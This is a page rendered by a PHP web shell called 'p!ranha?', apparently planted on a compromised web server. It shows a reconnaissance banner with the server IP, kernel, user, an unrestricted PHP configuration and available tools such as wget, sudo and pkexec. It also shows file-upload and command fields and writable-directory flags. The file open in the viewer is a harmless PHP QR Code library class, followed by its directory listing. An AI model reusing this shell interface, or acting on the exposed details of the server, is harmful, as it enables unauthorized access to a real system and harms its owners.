p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/phpqrcode/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/phpqrcode/qrimage.php
<?php
/*
 * PHP QR Code encoder
 *
 * Image output of code using GD2
 *
 * PHP QR Code is distributed under LGPL 3
 * Copyright (C) 2010 Dominik Dzienia <deltalab at poczta dot fm>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
 */
 
    define('QR_IMAGE', true);

    class QRimage {
    
        //----------------------------------------------------------------------
        public static function png($frame, $filename = false, $pixelPerPoint = 4, $outerFrame = 4,$saveandprint=FALSE) 
        {
            $image = self::image($frame, $pixelPerPoint, $outerFrame);
            
            if ($filename === false) {
                Header("Content-type: image/png");
                ImagePng($image);
            } else {
                if($saveandprint===TRUE){
                    ImagePng($image, $filename);
                    header("Content-type: image/png");
                    ImagePng($image);
                }else{
                    ImagePng($image, $filename);
                }
            }
            
            ImageDestroy($image);
        }
    
        //----------------------------------------------------------------------
        public static function jpg($frame, $filename = false, $pixelPerPoint = 8, $outerFrame = 4, $q = 85) 
        {
            $image = self::image($frame, $pixelPerPoint, $outerFrame);
            
            if ($filename === false) {
                Header("Content-type: image/jpeg");
                ImageJpeg($image, null, $q);
            } else {
                ImageJpeg($image, $filename, $q);            
            }
            
            ImageDestroy($image);
        }
    
        //----------------------------------------------------------------------
        private static function image($frame, $pixelPerPoint = 4, $outerFrame = 4) 
        {
            $h = count($frame);
            $w = strlen($frame[0]);
            
            $imgW = $w + 2*$outerFrame;
            $imgH = $h + 2*$outerFrame;
            
            $base_image =ImageCreate($imgW, $imgH);
            
            $col[0] = ImageColorAllocate($base_image,255,255,255);
            $col[1] = ImageColorAllocate($base_image,0,0,0);

            imagefill($base_image, 0, 0, $col[0]);

            for($y=0; $y<$h; $y++) {
                for($x=0; $x<$w; $x++) {
                    if ($frame[$y][$x] == '1') {
                        ImageSetPixel($base_image,$x+$outerFrame,$y+$outerFrame,$col[1]); 
                    }
                }
            }
            
            $target_image =ImageCreate($imgW * $pixelPerPoint, $imgH * $pixelPerPoint);
            ImageCopyResized($target_image, $base_image, 0, 0, 0, 0, $imgW * $pixelPerPoint, $imgH * $pixelPerPoint, $imgW, $imgH);
            ImageDestroy($base_image);
            
            return $target_image;
        }
    }
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
July 30 2026 06:50:24
1000 / 1000
0755
bindings
--
December 21 2023 09:40:49
1000 / 1000
0755
cache
--
December 21 2023 09:40:44
1000 / 1000
0755
tools
--
December 21 2023 09:40:48
1000 / 1000
0755
CHANGELOG
1.231 KB
January 13 2024 08:41:40
1000 / 1000
0755
INSTALL
1.994 KB
January 13 2024 08:41:40
1000 / 1000
0755
LICENSE
7.632 KB
January 13 2024 08:41:40
1000 / 1000
0755
README
1.596 KB
January 13 2024 08:41:41
1000 / 1000
0755
VERSION
0.017 KB
January 13 2024 08:41:42
1000 / 1000
0755
index.php
3.571 KB
January 13 2024 08:41:40
1000 / 1000
0755
phpqrcode.php
118.926 KB
January 13 2024 08:41:40
1000 / 1000
0755
qrbitstream.php
5.26 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrconfig.php
1.412 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrconst.php
1.72 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrencode.php
17.096 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrimage.php
3.54 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrinput.php
24.222 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrlib.php
1.564 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrmask.php
12.289 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrrscode.php
8.286 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrspec.php
25.988 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrsplit.php
11.114 KB
January 13 2024 08:41:41
1000 / 1000
0755
qrtools.php
6.184 KB
January 13 2024 08:41:41
1000 / 1000
0755